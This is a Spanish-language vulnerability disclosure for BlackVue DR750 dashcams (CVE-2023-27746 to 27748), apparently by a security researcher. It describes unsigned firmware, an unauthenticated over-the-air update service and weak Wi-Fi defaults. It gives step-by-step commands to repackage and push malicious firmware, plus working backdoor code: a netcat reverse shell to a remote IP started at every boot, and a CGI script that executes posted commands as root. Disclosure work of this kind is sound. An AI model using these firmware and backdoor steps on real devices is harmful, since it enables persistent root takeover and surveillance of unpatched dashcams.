
BlackVue DR750 CVE CVE-2023-27746 CVE-2023-27747 CVE-2023-27748
Lo siguiente es solo con fines educativos, no lo intente en ningún dispositivo que no posea o para el que no tenga permiso de uso.
A fecha de redacción, hay aproximadamente ~300 dispositivos BlackVue vulnerables en línea, que pueden ser fácilmente descubiertos y explotados, y no hay ningún parche oficial disponible.
BlackVue fue informada sobre estas vulnerabilidades el 30-07-2022 y respondió que investigarían los problemas. Sin embargo, hasta donde sabemos, no ha ocurrido nada.
No hay verificación de autenticidad para el firmware, lo que permite a un atacante malintencionado subir un firmware personalizado. Este firmware personalizado puede incluir backdoors o exploits.
Pasos para reproducir:
.zip que contiene los archivos del firmwarepatch_<nombre_dashcam>.bintar.gzsue para el nuevo patch_<nombre_dashcam>.bin (ver sue_checksum)# descargado de https://blackvue.com/download/dr750-2ch-lte-firmware-multilanguage/
$ unzip dr750-2ch-lte-v1.012-eng.zip
$ cd BlackVue/System/upgrade
$ mkdir patch-out
$ tar -C patch-out -xvzf patch_DR750LTE.bin
# hacer cambios en patch-out
$ tar -C patch-out -czvf patch_DR750LTE.bin .
$ python3 sue_checksum.py patch_DR750LTE.bin patch_DR750LTE.bin.sue
$ cd ../../../
Luego solo coloque la carpeta BlackVue en la tarjeta SD de la dashcam, y comenzará a ejecutarlo.
Al crear un firmware para FOTA (Firmware Over The Air), en su lugar cree un archivo .tgz del directorio System.
$ tar -C BlackVue/System -czvf fwupgrade.tgz
Este archivo luego se puede usar para subir un firmware personalizado mediante FOTA y comprometer completamente una dashcam.
Es importante destacar que durante las pruebas se observó que incluso al flashear el firmware oficial del sitio web de BlackVue de vuelta al dispositivo, las backdoors colocadas persistían.
Las dashcams BlackVue escuchan en el puerto 9771/TCP, donde se ejecuta el servicio FOTA (firmware over the air).
Este servicio permite hacer ping, reiniciar, obtener la hora del dispositivo, actualizar firmware, etc.
No hay nada que proteja este endpoint y se puede acceder a él cuando se está conectado a la misma LAN que la dashcam o desde internet si la dashcam está conectada a LTE, lo que supone un riesgo de seguridad significativo. Un script en Python que puede comunicarse con el servicio FOTA se puede encontrar aquí.
Cree un nuevo firmware siguiendo los pasos de la sección anterior y súbalo usando el script de Python.
python software/fota/fota.py 10.0.0.1 upgrade /tmp/fwupgrade.tgz
Esta utilidad no garantiza que funcione, pero ha funcionado una vez antes.
Las dashcams no vienen con ningún firewall habilitado, lo cual es menos problemático si la dashcam solo está conectada por Wi-Fi. Sin embargo, la versión LTE está conectada directamente a internet, ya que algunos proveedores móviles no tienen un firewall configurado y no colocan a sus usuarios detrás de NAT. Esto se puede verificar examinando el firmware extraído.
Como mínimo, las dashcams BlackVue con LTE deberían bloquear las conexiones por el lado LTE.
La contraseña Wi-Fi predeterminada de la dashcam solo tiene caracteres alfanuméricos en minúsculas, con una longitud de 8. Es posible interceptar un handshake de la dashcam y usar herramientas de Aircrack-ng para calcular la contraseña (si el usuario no la ha cambiado). Esto se puede hacer en aproximadamente ~4 días usando hardware alquilado (~40 EUR).
Por defecto, se puede acceder al servidor web sin autenticación y expone varios endpoints.
├── blackvue_live.cgi
├── blackvue_livedata.cgi
├── blackvue_vod.cgi
├── Config
├── index.html
├── Record
└── upload.cgi
Estos endpoints permiten lo siguiente:
El SSID y la contraseña de la red Wi-Fi a la que se conectará la dashcam se almacenan en la tarjeta SD dentro de la dashcam. Estos datos están cifrados, pero la clave se puede revelar fácilmente mediante ingeniería inversa de la aplicación. Como se demuestra en wifi-decrypt.py.
También vale la pena señalar que al cambiar la red Wi-Fi a la que debe conectarse la dashcam, estos valores se envían a los servidores de BlackVue, que los almacenarán hasta que puedan enviar la información a la dashcam. Se desconoce si estos datos se eliminan cuando la dashcam vuelve a estar disponible.
Todos estos se pueden combinar en un simple RCE, especialmente con las dashcams LTE.
Algunos ejemplos de backdoors que podrían incluirse en firmware personalizado.
La siguiente backdoor se conectará a una máquina remota y otorgará acceso completo a la shell como root.
/bin/backdoor.sh
#!/bin/sh
IP=$1
PORT=$2
while /bin/true; do
/usr/bin/nc $IP $PORT -e /bin/sh
done
El siguiente script init.d iniciará la backdoor en cada arranque y se conectará a la IP/puerto indicados.
/etc/init.d/S85backdoor
#!/bin/sh
/bin/backdoor 10.99.77.20 1745 &
cmd.cgiLa siguiente backdoor permitirá ejecutar comandos (como root) cuando se envíe un payload al servidor web.
/res/System/www/cmd.cgi
#!/bin/sh
echo "Content-type: text/html" # establecer el tipo de datos que queremos usar
echo ""
POST_STRING=$(/bin/cat)
echo $POST_STRING
exec $POST_STRING